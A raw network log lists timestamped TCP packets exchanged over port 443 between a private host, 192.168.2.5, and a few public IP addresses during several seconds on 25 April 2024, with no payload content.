Apr 25, 2024 21:45:03.009527922 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.009656906 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.009673119 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.052156925 CEST	443	49737	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:03.056127071 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.236344099 CEST	443	49742	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.238682032 CEST	443	49744	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.239468098 CEST	49744	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.239487886 CEST	443	49744	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.239729881 CEST	49742	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.239787102 CEST	443	49742	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.239828110 CEST	443	49743	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.239985943 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.239996910 CEST	443	49743	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.240508080 CEST	443	49744	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.240586996 CEST	49744	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.240741014 CEST	443	49742	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.240806103 CEST	49742	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.240925074 CEST	49744	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.240998030 CEST	443	49744	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.241442919 CEST	49742	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.241506100 CEST	443	49742	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.241585970 CEST	49744	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.241594076 CEST	443	49744	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.241651058 CEST	49742	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.241667032 CEST	443	49742	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.243552923 CEST	443	49743	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.243649006 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.245043039 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.245171070 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.245253086 CEST	443	49743	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.255752087 CEST	443	49737	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:03.255830050 CEST	443	49737	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:03.255892992 CEST	49737	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:03.256177902 CEST	49737	443	192.168.2.5	35.190.80.1
Apr 25, 2024 21:45:03.256226063 CEST	443	49737	35.190.80.1	192.168.2.5
Apr 25, 2024 21:45:03.270982027 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.271219969 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.271234989 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.272707939 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.272799969 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.273190975 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.273302078 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273359060 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273382902 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273391962 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273406982 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273454905 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.273483038 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273544073 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273575068 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273583889 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.273583889 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.273623943 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.273623943 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.273638964 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273658991 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273682117 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.273688078 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.273713112 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.274060965 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.280610085 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.286006927 CEST	49740	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.286026955 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.286252975 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.286273003 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.287116051 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.287147045 CEST	49738	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.287154913 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.287166119 CEST	443	49738	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.287200928 CEST	49740	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.287250996 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.291117907 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.291129112 CEST	443	49743	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:03.303818941 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.303886890 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.304620981 CEST	49740	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.304735899 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.304949999 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.304964066 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.305038929 CEST	49740	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.305064917 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.320082903 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.320111990 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.320585012 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.320804119 CEST	49747	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.320866108 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.321036100 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.321047068 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.321074009 CEST	49747	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.321229935 CEST	49747	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.321259022 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.323652029 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.336652040 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.415050030 CEST	49742	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.415057898 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.415059090 CEST	49744	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:03.415196896 CEST	49740	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.536449909 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.536469936 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.536526918 CEST	49740	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.536545038 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.536567926 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.536631107 CEST	49740	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.538156986 CEST	49740	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.538188934 CEST	443	49740	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.578509092 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.578792095 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.578809023 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.579111099 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.580195904 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.580249071 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.580353022 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.585747957 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.586070061 CEST	49747	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.586091042 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.586426973 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.586805105 CEST	49747	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.586874962 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.587088108 CEST	49747	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.628130913 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.632113934 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.655641079 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.655672073 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.655682087 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.655700922 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.655738115 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.655750036 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.655766010 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.655828953 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.656039000 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.656065941 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.656105995 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.656112909 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.656126022 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.683150053 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.683176994 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.683183908 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.683219910 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.683237076 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.683250904 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.683250904 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.683283091 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.683293104 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.683306932 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.683334112 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.683341980 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.683357000 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.683406115 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.708520889 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.740247011 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.782603979 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.782622099 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.782672882 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.782692909 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.782707930 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.782753944 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.782758951 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.782804966 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.783030987 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.783054113 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.783092976 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.783097029 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.783123016 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.783145905 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.783570051 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.783591032 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.783628941 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.783633947 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.783693075 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.783693075 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.838814020 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.838839054 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.838896036 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.838910103 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.838952065 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.838968992 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.838973999 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.839019060 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.908902884 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.908947945 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.909034014 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.909048080 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.909080029 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.909096003 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.909208059 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.909226894 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.909264088 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.909269094 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.909291983 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.909307957 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.910022020 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.910047054 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.910096884 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.910101891 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.910132885 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.910147905 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.910665989 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.910687923 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.910726070 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.910732031 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.910758972 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.910778046 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.911247969 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.911267996 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.911303997 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.911309004 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.911339045 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.911354065 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.951500893 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.951535940 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.951591015 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:03.951601028 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:03.951643944 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.005141020 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.005166054 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.005182028 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.005300045 CEST	49747	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.005366087 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.005397081 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.005449057 CEST	49747	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.005477905 CEST	49747	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.035052061 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.035084963 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.035270929 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.035283089 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.035326004 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.035835981 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.035861015 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.035893917 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.035897970 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.035928011 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.037801027 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.037820101 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.037875891 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.037880898 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.037918091 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.038501978 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.038520098 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.038562059 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.038566113 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.038593054 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.038609982 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.039176941 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.039197922 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.039232969 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.039237976 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.039251089 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.039290905 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.039330959 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.040267944 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.143500090 CEST	443	49744	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:04.143605947 CEST	443	49744	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:04.143678904 CEST	49744	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:04.211283922 CEST	443	49743	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:04.211421013 CEST	443	49743	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:04.211535931 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:04.253583908 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.256989956 CEST	49739	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.257016897 CEST	443	49739	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.257415056 CEST	49743	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:04.257426023 CEST	443	49743	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:04.257850885 CEST	49744	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:04.257857084 CEST	443	49744	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:04.259557962 CEST	49746	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.259563923 CEST	443	49746	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.261373997 CEST	49747	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:04.261401892 CEST	443	49747	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:04.632818937 CEST	443	49742	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:04.632930040 CEST	443	49742	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:04.633057117 CEST	49742	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:06.086875916 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.086920023 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.087021112 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.087100029 CEST	49741	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.087129116 CEST	443	49741	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.088454008 CEST	49749	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.088541985 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.088620901 CEST	49749	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.088924885 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.088948011 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.089358091 CEST	49749	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.089392900 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.095290899 CEST	49742	443	192.168.2.5	172.67.172.36
Apr 25, 2024 21:45:06.095330000 CEST	443	49742	172.67.172.36	192.168.2.5
Apr 25, 2024 21:45:06.346374989 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.347031116 CEST	49749	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.347055912 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.347364902 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.347788095 CEST	49749	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.347850084 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.347959042 CEST	49749	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.348045111 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.348201036 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.348228931 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.348572969 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.348957062 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.349060059 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.349081039 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.388134956 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.396116018 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.507241964 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.605272055 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.605289936 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.605367899 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.605367899 CEST	49749	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.605416059 CEST	49749	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.610048056 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.610070944 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.610076904 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.610126019 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.610133886 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.610169888 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.610203028 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.610219002 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:06.610219955 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.610240936 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:06.610269070 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:07.084244013 CEST	49748	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:07.084275961 CEST	443	49748	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.084788084 CEST	49749	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:07.084826946 CEST	443	49749	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.396224976 CEST	49750	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:07.396265030 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.396373034 CEST	49750	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:07.396752119 CEST	49750	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:07.396764994 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.662009001 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.664486885 CEST	49750	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:07.664501905 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.664872885 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.679739952 CEST	49750	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:07.679821968 CEST	443	49750	69.164.216.107	192.168.2.5
